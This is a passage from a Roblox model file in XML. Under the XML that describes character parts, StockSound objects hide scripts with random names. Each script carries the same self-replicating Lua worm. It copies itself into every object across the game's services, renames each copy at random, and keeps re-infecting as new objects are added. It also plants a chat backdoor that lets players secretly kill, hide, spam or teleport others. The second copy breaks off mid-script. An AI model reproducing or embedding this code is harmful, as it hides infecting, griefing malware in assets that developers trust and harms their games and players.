							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-28.3398132</X>
								<Y>1.32225549</Y>
								<Z>139.044449</Z>
								<R00>-0.538089991</R00>
								<R01>2.00345858e-006</R01>
								<R02>0.842887282</R02>
								<R10>2.63803122e-006</R10>
								<R11>1</R11>
								<R12>-6.92809181e-007</R12>
								<R20>-0.842887282</R20>
								<R21>1.85076931e-006</R21>
								<R22>-0.538089991</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Right Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX467">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">240kt</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX468">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">dodyfy</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Humanoid" referent="RBX469">
						<Properties>
							<float name="Health">100</float>
							<bool name="Jump">false</bool>
							<float name="MaxHealth">100</float>
							<string name="Name">Humanoid</string>
							<bool name="Sit">false</bool>
							<bool name="Strafe">false</bool>
							<Vector3 name="TargetPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="WalkDirection">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="WalkRotationalVelocity">0</float>
							<float name="WalkSpeed">16</float>
							<Ref name="WalkToPart">null</Ref>
							<Vector3 name="WalkToPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX470">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">051ujej0</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX471">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">rh2wmr9n8</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
